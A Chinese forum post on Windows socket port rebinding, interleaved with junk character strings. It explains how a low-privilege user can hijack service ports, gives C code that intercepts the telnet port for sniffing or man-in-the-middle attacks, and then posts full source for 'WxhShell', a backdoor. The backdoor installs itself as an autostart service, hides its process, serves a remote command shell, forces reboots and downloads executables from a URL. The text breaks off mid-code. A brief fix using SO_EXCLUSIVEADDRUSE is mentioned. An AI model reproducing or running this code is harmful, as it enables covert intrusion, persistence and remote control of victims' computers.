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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }@ O|RkY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %{N$1ht^  
@e.OU(Bf  
  saddr.sin_family = AF_INET; BNL8hK`D  
}}sRTW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $nGbT4sc  
rZ8Y=) e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v@$evmA  
D&z'tf5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #lBpln9  
C>w9 {h  
  这意味着什么?意味着可以进行如下的攻击: G*vpf~q?  
_e:5XQ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1c<CEq:?e%  
)AnlFO+V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E&iWtwkz  
5oT2)yz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F(KH-  
s% L" c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #FQm/Q<0  
<\}Y@g8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F653[[eQ  
Z!*8JaMT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rx}ujjx  
UALg!M#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E+^} B/"  
qSpa4W[  
  #include #U!(I#^3  
  #include r7Q:l ?F2  
  #include Z5*(W;;  
  #include    !ulLGmUn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h-2E9Z  
  int main() ]df9'\  
  { Lilk8|?#W  
  WORD wVersionRequested; &-8-xw#.  
  DWORD ret; /8$1[[[  
  WSADATA wsaData; I7G\X#,iz  
  BOOL val; (}~eD  
  SOCKADDR_IN saddr; CYFas:rPLT  
  SOCKADDR_IN scaddr; FQ9csUjpB  
  int err; WnJLX ^;  
  SOCKET s; U&w 5&W{F}  
  SOCKET sc; qh)!|B  
  int caddsize; G"U>fwFuK  
  HANDLE mt; xPfnyAo?%z  
  DWORD tid;   S\v&{  
  wVersionRequested = MAKEWORD( 2, 2 ); {o5K?Pb  
  err = WSAStartup( wVersionRequested, &wsaData ); Ghgv RR$  
  if ( err != 0 ) { *nsnX/e(-  
  printf("error!WSAStartup failed!\n"); )HzITsFZKT  
  return -1; eX l%Qs#Y  
  } JIY ^N9_  
  saddr.sin_family = AF_INET; Z '>eT)  
   r;%zG Fp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 UwL"%0u  
>D p6@%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E!}-qbH^  
  saddr.sin_port = htons(23); "mP*}VF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qs c-e,rl  
  { i3kI2\bd/  
  printf("error!socket failed!\n"); +{Jf]"KD  
  return -1; d"d)<f   
  } 2GD mZl  
  val = TRUE; EkjK92cF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [>J~M!yu:r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S9"y@F <  
  { (fGJP*YO  
  printf("error!setsockopt failed!\n"); _[OEE<(  
  return -1; B> " r-O  
  } FUqhSW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PcSoG\- G<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v/TlXxfil  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ETWmeMN  
&v9PT!R~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9y|&T  
  { Yq hz(&*)  
  ret=GetLastError(); i8[Y{a *  
  printf("error!bind failed!\n"); ZhbY, wJ,  
  return -1; '3_B1iAv  
  } H'h4@S  
  listen(s,2); VF!kr1n!  
  while(1) zc,9Qfn  
  { Z=t#*"J  
  caddsize = sizeof(scaddr); E=_B@VJknW  
  //接受连接请求 uuK]<h*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >*i8RqU  
  if(sc!=INVALID_SOCKET) 8.%a"sxr  
  { m2< *  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]S2[eS  
  if(mt==NULL) v/ 00L R  
  { O<d?'{  
  printf("Thread Creat Failed!\n"); +i_f.Ipp  
  break; nIqY}??  
  } pQMpkAX  
  } [U7,\o4w  
  CloseHandle(mt); &{4Mo,x  
  } GoVPo'  
  closesocket(s); 1> @|  
  WSACleanup(); rRG\:<a  
  return 0; Rb}&c)4  
  }   :8|3V~%m  
  DWORD WINAPI ClientThread(LPVOID lpParam) nTy,Jml  
  { |`;1p@w"  
  SOCKET ss = (SOCKET)lpParam; )E~\H+FP6  
  SOCKET sc; -0IFPL8  
  unsigned char buf[4096]; |VR5Q(d  
  SOCKADDR_IN saddr; $HCAC 4  
  long num; f{5| }PL  
  DWORD val; C\ >Mt  
  DWORD ret; W!0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qnb?hvb"d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   otH[?c?BT  
  saddr.sin_family = AF_INET; )7%]<2V%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rbZ6V :  
  saddr.sin_port = htons(23); QRh4f\fY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U <$xp  
  { `1}?{ud  
  printf("error!socket failed!\n"); ;OCI.S8  
  return -1; M "P  
  } R^kv!x;h  
  val = 100; qg:I+"u  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tBI+uu aa2  
  { 3b[+m}UWQ  
  ret = GetLastError(); %oKqK >S)  
  return -1; (tLQX~Ur  
  } ;Y&?ixx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bY U+-|54  
  { ]S aH/$  
  ret = GetLastError(); z'D{:q  
  return -1; 2m_M9e\  
  } e^_@^(||!6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u0KZrz  
  { s /q5o@b{  
  printf("error!socket connect failed!\n"); +9F#~{v`4a  
  closesocket(sc); >!F,y3"5S  
  closesocket(ss); v]SE?xF{U  
  return -1; j/mp.'P1k  
  } Z3~*R7G8>  
  while(1) {,2_K6#  
  { |ylTy B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4 Wd5Goe:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xt0j9{p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `'.x*MNF  
  num = recv(ss,buf,4096,0); 2.2a2.I1  
  if(num>0) _W@Fk)E6N  
  send(sc,buf,num,0); =usDI<3r  
  else if(num==0) xKzFrP;/{  
  break; &B0&183  
  num = recv(sc,buf,4096,0); X0QS/S-+  
  if(num>0) Cj\+u\U#  
  send(ss,buf,num,0); G-?9;w'@  
  else if(num==0) <+,0 G`  
  break; #$C]0]|  
  } wSF#;lqd  
  closesocket(ss); )stWr r&  
  closesocket(sc); (jFE{M$-  
  return 0 ; B{(l 5B6  
  } 2Lgvy/uN  
dk`!UtNNRa  
TN aff  
========================================================== lG#&1  
tvxcd*{  
下边附上一个代码,,WXhSHELL b/Q"j3  
V46[whL%r  
========================================================== Qug'B  
\ySc uT  
#include "stdafx.h" U2nRgd  
U%\2drM&]  
#include <stdio.h> {5-{f=Rk  
#include <string.h> OVf|4J/Yx  
#include <windows.h> eW,Pn'  
#include <winsock2.h> gdNp2b  
#include <winsvc.h> Lf M(DK  
#include <urlmon.h> ;#yz i2f  
)!-'SH  
#pragma comment (lib, "Ws2_32.lib") ' qS!n  
#pragma comment (lib, "urlmon.lib") P"@^'yR5WK  
nDw9  
#define MAX_USER   100 // 最大客户端连接数 y36aoKH  
#define BUF_SOCK   200 // sock buffer O#Hz5 A5  
#define KEY_BUFF   255 // 输入 buffer Y2&6xTh  
Z@A1+kUS  
#define REBOOT     0   // 重启 ) <~7<.0  
#define SHUTDOWN   1   // 关机 m uY^Fx  
S @($c'  
#define DEF_PORT   5000 // 监听端口 OXV@LYP@  
Av]N.HB$  
#define REG_LEN     16   // 注册表键长度 {v 0(0  
#define SVC_LEN     80   // NT服务名长度 2Jv4l$$;*  
t[,\TM^h}0  
// 从dll定义API 6mLE-( Z7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }C#d;JC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \vQ (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -.{7;6:(k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Big-)7?  
r'?&VS-Cj  
// wxhshell配置信息 +?tNly`  
struct WSCFG { uGWk(qn  
  int ws_port;         // 监听端口 W#\4"'=I  
  char ws_passstr[REG_LEN]; // 口令 }clNXtN  
  int ws_autoins;       // 安装标记, 1=yes 0=no ep|u_|sB/r  
  char ws_regname[REG_LEN]; // 注册表键名 0AenDm@9  
  char ws_svcname[REG_LEN]; // 服务名 GssoT<Y)Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8/v_uEG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r; !us~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v)EJ|2`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OYy8u{@U:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0@;E8^pa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 C%"@|01cO  
(fS4qz:&l  
}; *L_wRhhk  
}e)ltp|  
// default Wxhshell configuration Ycm1 _z  
struct WSCFG wscfg={DEF_PORT, &(0);I@fc  
    "xuhuanlingzhe", qm@hD>W+  
    1, [ ]NAV  
    "Wxhshell", **"sru;@=  
    "Wxhshell", ww*F}}(  
            "WxhShell Service", 0)#I5tEre  
    "Wrsky Windows CmdShell Service", ?##GY;#  
    "Please Input Your Password: ", Sob+l'U$  
  1, UF4QPPH4  
  "http://www.wrsky.com/wxhshell.exe", xi0&"?7la  
  "Wxhshell.exe" %' Fc%3  
    }; 0vEa]ljS  
=n!8>8d  
// 消息定义模块 APy a&TG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p /:L;5F  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #0tM88Wi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =`")\?z}  
char *msg_ws_ext="\n\rExit."; $!t!=  
char *msg_ws_end="\n\rQuit."; ?*g]27f11  
char *msg_ws_boot="\n\rReboot..."; R?k1)n   
char *msg_ws_poff="\n\rShutdown..."; Cv3H%g+as  
char *msg_ws_down="\n\rSave to "; Z(FAQ\7  
hH~Z hB  
char *msg_ws_err="\n\rErr!"; aG!!z>  
char *msg_ws_ok="\n\rOK!"; rmhB!Lo  
3e"G.0vJ  
char ExeFile[MAX_PATH]; ~$5[#\5%G  
int nUser = 0; XyhdsH5%3!  
HANDLE handles[MAX_USER]; 7~ 2X/  
int OsIsNt; }  ?  
!&X}? NK  
SERVICE_STATUS       serviceStatus; Sx}h$E:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,}[,]-nVx  
0&Qn7L  
// 函数声明 ?tBEB5  
int Install(void); <[*s%9)'9  
int Uninstall(void); kZ2+=/DYN  
int DownloadFile(char *sURL, SOCKET wsh); G$q=WM!%#s  
int Boot(int flag); v{I:Wxe  
void HideProc(void); b'G4KNW  
int GetOsVer(void); A%Ao yy4E  
int Wxhshell(SOCKET wsl); y8sI @y6  
void TalkWithClient(void *cs); @0aUWG!k  
int CmdShell(SOCKET sock); jjs-[g'}  
int StartFromService(void); _)ERi*}x8  
int StartWxhshell(LPSTR lpCmdLine); om(#P5cSM;  
B^oXUEOImq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lA{Sr0f TP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *Owq_)_ (|  
O32:j   
// 数据结构和表定义 D[<8(~VP  
SERVICE_TABLE_ENTRY DispatchTable[] = R|_?yV[  
{ Eh JYdO[e  
{wscfg.ws_svcname, NTServiceMain}, ")TI,a`  
{NULL, NULL} O,7P6  
}; 4Vt YR  
,cS|fG  
// 自我安装 P /Js!e<\  
int Install(void) [ %r :V"  
{ "# JRw  
  char svExeFile[MAX_PATH]; kfn5y#6NZ  
  HKEY key; K2!KMhvQ  
  strcpy(svExeFile,ExeFile); xl s_g/Q  
-O{Af  
// 如果是win9x系统,修改注册表设为自启动 x3]es"4Q  
if(!OsIsNt) { /QG8\wXE2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D=e&"V a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I#m5Tl|#  
  RegCloseKey(key); 5gi`&t`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { poeKY[].  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JVU:`BH  
  RegCloseKey(key); m39 `f,M  
  return 0; U$qSMkj6RK  
    } n pBpYtG  
  } qbmy~\ZY  
} w$pBACX  
else { 0IxXhu6v  
u3Ua>A-  
// 如果是NT以上系统,安装为系统服务 oC"c%e8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -k= 02?0p+  
if (schSCManager!=0) 59IxY ?  
{ GKSfr8US4  
  SC_HANDLE schService = CreateService 2?#IwT'  
  ( rm<(6zY  
  schSCManager, eXUXoK=T  
  wscfg.ws_svcname, ?$v#;n?@I  
  wscfg.ws_svcdisp, B$sB1M0q  
  SERVICE_ALL_ACCESS, g*TAaUs|n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Ic: c  
  SERVICE_AUTO_START, * 3WK`9q  
  SERVICE_ERROR_NORMAL, x)h5W+$  
  svExeFile, # KK>D?.:  
  NULL, b&. o9PV"  
  NULL, x<4-Q6'{S  
  NULL, Z[s{   
  NULL, Ns?y) G>:  
  NULL ANZD7v6a  
  ); kK>PFk(  
  if (schService!=0) PSNfh7g  
  { aPWlV= oG  
  CloseServiceHandle(schService); T]Pp\6ff  
  CloseServiceHandle(schSCManager); |/5j0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Tn8Z2iC  
  strcat(svExeFile,wscfg.ws_svcname); iZ yhj%#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Tj$D:xKf)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TU&gj1  
  RegCloseKey(key); <sE0426 {  
  return 0; HNu/b)-Rb  
    } IDyf9Zra?  
  } > r6`bh [4  
  CloseServiceHandle(schSCManager); R-+k>_96|  
} #p_3j 0S  
} OQIQ   
`}Ssc-A  
return 1; x >hnH{~w  
} X`YAJG  
hosw :%  
// 自我卸载 { AdPC?R`  
int Uninstall(void) t>:2F,0K9  
{ pHSq,XP-  
  HKEY key; f^z/s6I0  
1A^~gYr  
if(!OsIsNt) { Ke@zS9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { of!Bz  
  RegDeleteValue(key,wscfg.ws_regname); ?]+{2&&$  
  RegCloseKey(key); :yO.Te F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]U.1z  
  RegDeleteValue(key,wscfg.ws_regname); `],'fT|,S  
  RegCloseKey(key); eAR]~ NiW  
  return 0; i'aV=E5  
  } _7Z|=)  
} Pi7vuOJr8  
} })f4`$qf  
else { J-yj&2  
gI a/sD2m>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]NgK(I U  
if (schSCManager!=0) jp?;8rS3  
{ o\6A]T=R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mv_N ns  
  if (schService!=0) f Glvx~  
  { tCH4-~,#  
  if(DeleteService(schService)!=0) { t ' _Au8  
  CloseServiceHandle(schService); s8 S[w   
  CloseServiceHandle(schSCManager); BBnW0vAZ*  
  return 0; F=)9z+l#  
  } G Xx7/X  
  CloseServiceHandle(schService); e%. Xya#\  
  } rK 9  
  CloseServiceHandle(schSCManager); it V@U  
} CGmObN8~'F  
} P6q`i<  
5MUM{(C  
return 1; pd2Lc $O@  
} "f/91gIzm'  
]*b}^PQM^  
// 从指定url下载文件  =d07c  
int DownloadFile(char *sURL, SOCKET wsh) W+N9~.q\^  
{ C/AqAW1  
  HRESULT hr; /HCd52  
char seps[]= "/"; 8/lv,m#  
char *token; . !gkJ  
char *file; 'wh2787  
char myURL[MAX_PATH]; l-|hvv5g  
char myFILE[MAX_PATH]; ACQbw)tiv}  
Th1/Bxb:  
strcpy(myURL,sURL); ':al4m"  
  token=strtok(myURL,seps); (Ic{C5'  
  while(token!=NULL) 9e^HTUFbG  
  { n27df9L  
    file=token; K5X,J/n  
  token=strtok(NULL,seps); rzmd`)g  
  } %{GYTc \'X  
ma4Pmk  
GetCurrentDirectory(MAX_PATH,myFILE); o#(z*v@  
strcat(myFILE, "\\"); #XSs.i{  
strcat(myFILE, file); YbS$D  
  send(wsh,myFILE,strlen(myFILE),0); /JaCbT?*T  
send(wsh,"...",3,0); 0XwDk$l<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r8PXdNg  
  if(hr==S_OK) }9Yd[`  
return 0; _3_d;j#G U  
else gcLwQ-  
return 1; a`SQcNBf*  
T(UdV]~]"  
} 8NY $Iw  
~lB im$o  
// 系统电源模块 P}=u8(u  
int Boot(int flag) {P'TtlEp  
{ <PBrW#:'  
  HANDLE hToken; {\tHS+]  
  TOKEN_PRIVILEGES tkp; Y6LoPJ  
<hG=0Zcr  
  if(OsIsNt) { Q_p!;3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hVvPI1[2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5p9zl=mT  
    tkp.PrivilegeCount = 1; i21ybXA=Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OyTEd5\3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RRYm.dMIw  
if(flag==REBOOT) { !'-K>.B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "S$4pj`<  
  return 0; We^! (G  
} YS$?Wz  
else { <28L\pdG`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RI,Z&kXj2o  
  return 0; ]<3$Sx_{y  
} mDn*v( f  
  } 3:q\]]]S  
  else { ~N</;{}fL4  
if(flag==REBOOT) { 3Q-i%7l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l=jfgsjc  
  return 0; L,I5/K6  
} _J<^'w^;%  
else {  [Tha j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7_$Xt)Y{  
  return 0; C)2Waj}  
} P#`Mg@.  
} {~=Edf  
r[P5 ufy2]  
return 1; \/8 I6a=  
} 4H 4U  
'BE &lW  
// win9x进程隐藏模块 '\[o>n2  
void HideProc(void) I`%\ "bF@  
{ J \iyc,M<M  
#q2 cVN1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2l43/aCq  
  if ( hKernel != NULL ) 4z~ fn9g  
  { RfP>V/jy5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tz(\|0WDQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *&VH!K#@{  
    FreeLibrary(hKernel); u!in>]^  
  } 9Vp|a&Ana  
e/@tU'$  
return; F<8Rr#Z  
} i#I+   
% j],6wW5J  
// 获取操作系统版本 P.bBu  
int GetOsVer(void) &h=O;?dO  
{ 4@6!E^  
  OSVERSIONINFO winfo; voRr9E*n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \RcB,?OK  
  GetVersionEx(&winfo); K9v@L6pY=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r&AX  
  return 1; nZ?BC O  
  else ^4@~\#$z  
  return 0; >*ey 7g  
} "bFt+N  
-uZ bVd  
// 客户端句柄模块 / d S!  
int Wxhshell(SOCKET wsl) .k5 TQt  
{ Kfnn;  
  SOCKET wsh; 0T,Qn{  
  struct sockaddr_in client; ]^,<Ez  
  DWORD myID; wN,DTmtD  
4^1B'>I  
  while(nUser<MAX_USER) JZ6{W  
{ zNT~-  
  int nSize=sizeof(client); (fON\)l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X+;F5b9z  
  if(wsh==INVALID_SOCKET) return 1; +W+O7SK\y  
uLV@D r   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {~DYf*RZ  
if(handles[nUser]==0) reml|!F-)  
  closesocket(wsh); `+17 x<N  
else wD>tR SW  
  nUser++; #~um F%#  
  } Hl"rGA>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9tmYrhb$  
t ZUZNKODW  
  return 0; V6l*!R  
} P+pL2BA  
8[LwG&  
// 关闭 socket )'8DK$.  
void CloseIt(SOCKET wsh) $3BCA)5:  
{ *_d+cG  
closesocket(wsh); }IvJIr  
nUser--; xz#;F ,`ZR  
ExitThread(0); zAEq)9Y"l'  
} !xoN%5 !  
q;3,}emg  
// 客户端请求句柄 {GDMix  
void TalkWithClient(void *cs) PbOLN$hP  
{ 7kU:91zR  
/0QGU4=  
  SOCKET wsh=(SOCKET)cs; P9Hv){z  
  char pwd[SVC_LEN]; v{Cts3?Br  
  char cmd[KEY_BUFF]; IdTeue  
char chr[1]; 8 [i#x|`g  
int i,j; \3dM A_5  
LLv~yS O  
  while (nUser < MAX_USER) { .{D[!Dp#h  
C 5QPt  
if(wscfg.ws_passstr) { K[RlR+j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /km^IH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DZ~w8v7V  
  //ZeroMemory(pwd,KEY_BUFF); RWmQP%A}aw  
      i=0; ey<u  
  while(i<SVC_LEN) { X0 &1ICZ  
R`ajll1  
  // 设置超时 xB:,l'\G  
  fd_set FdRead; q@;WXHO0  
  struct timeval TimeOut; ?RGL0`Lg  
  FD_ZERO(&FdRead); flTK  
  FD_SET(wsh,&FdRead); P ETrMu<  
  TimeOut.tv_sec=8; M= !Fb  
  TimeOut.tv_usec=0; |RwpIe8~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <4}zl'.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rb%P30qc4  
!o~% F5|t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |Hg)!5EJ  
  pwd=chr[0]; eKn&`\j6  
  if(chr[0]==0xd || chr[0]==0xa) { qgrRH'  
  pwd=0; =]E(iR_&  
  break; B, nCx=\S  
  } bs U$mtW  
  i++;  =IV_yor  
    } cv;&ff2%?  
h>= e<H?f  
  // 如果是非法用户,关闭 socket 4XK*sR0-`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c#nFm&}dm  
} <aa# OX  
:gDIGBK,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (: 2:_FL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uS bOGhP  
Rct|"k_"Ys  
while(1) { S%uH*&`  
<ro0}%-z>M  
  ZeroMemory(cmd,KEY_BUFF); Lx,"jA/  
rxCEOG  
      // 自动支持客户端 telnet标准   Tn2Z{.q$  
  j=0; }!\NdQs  
  while(j<KEY_BUFF) { k(<5tvd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1;3oGuHj8  
  cmd[j]=chr[0]; VJBVk8P  
  if(chr[0]==0xa || chr[0]==0xd) { xy46].x-  
  cmd[j]=0; 2H;&E1:  
  break; }$#e&&)n  
  } </tiNc  
  j++; -"u}lCz>  
    } |M#b`g$JO,  
LSlaz  
  // 下载文件 Tk $rwTCl  
  if(strstr(cmd,"http://")) { |xQG  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sY7:Lzs.,  
  if(DownloadFile(cmd,wsh)) #9O *@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [' R2$z  
  else I? dh"*Js&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Mj :'  
  } +e<P7}ZQ  
  else { K6~N{:.s  
l@Ma{*s6=5  
    switch(cmd[0]) { ,=B "%=S  
  W*;~(hDz  
  // 帮助 $EW31R5h<s  
  case '?': { !vfjo[v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xB]~%nC[O  
    break; M|?qSFv:  
  } dm,7OQ  
  // 安装 \:4WbM:B  
  case 'i': { R!W!8rr3  
    if(Install()) tvP_LNMF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?'CIt5n+\{  
    else |@]J*Kh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gC;y>YGP  
    break; kLR4?tX!  
    } hEsCOcEG  
  // 卸载 tS#EqMf&o  
  case 'r': { Ge@./SGT  
    if(Uninstall()) n%I%Kbw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cbsy&U  
    else WG NuB9R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /tc*jXB  
    break; ~IZ'zuc  
    } Y4 ){{bEp  
  // 显示 wxhshell 所在路径 2al%J%  
  case 'p': { *GbC`X)  
    char svExeFile[MAX_PATH]; %lbSV}V)  
    strcpy(svExeFile,"\n\r"); `Q1S8i$  
      strcat(svExeFile,ExeFile); +Qt=N6>  
        send(wsh,svExeFile,strlen(svExeFile),0); %'"#X?jk1  
    break; VxLq,$B76  
    } j*x8K,fN  
  // 重启 "u Xl  
  case 'b': { Zn1+} Z@I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fo3[KW)8I  
    if(Boot(REBOOT)) "BK'<j^q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); skR/Wf9DH  
    else { mG7Wu{~=U  
    closesocket(wsh); m8rKH\FD}  
    ExitThread(0); m/| >4~  
    } -. L)-%wIV  
    break; @z#;O2  
    } .S`Ue,H  
  // 关机 r7c(/P^$G  
  case 'd': { j,80EhZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M-K<w(,X  
    if(Boot(SHUTDOWN)) ? 1?^>M  
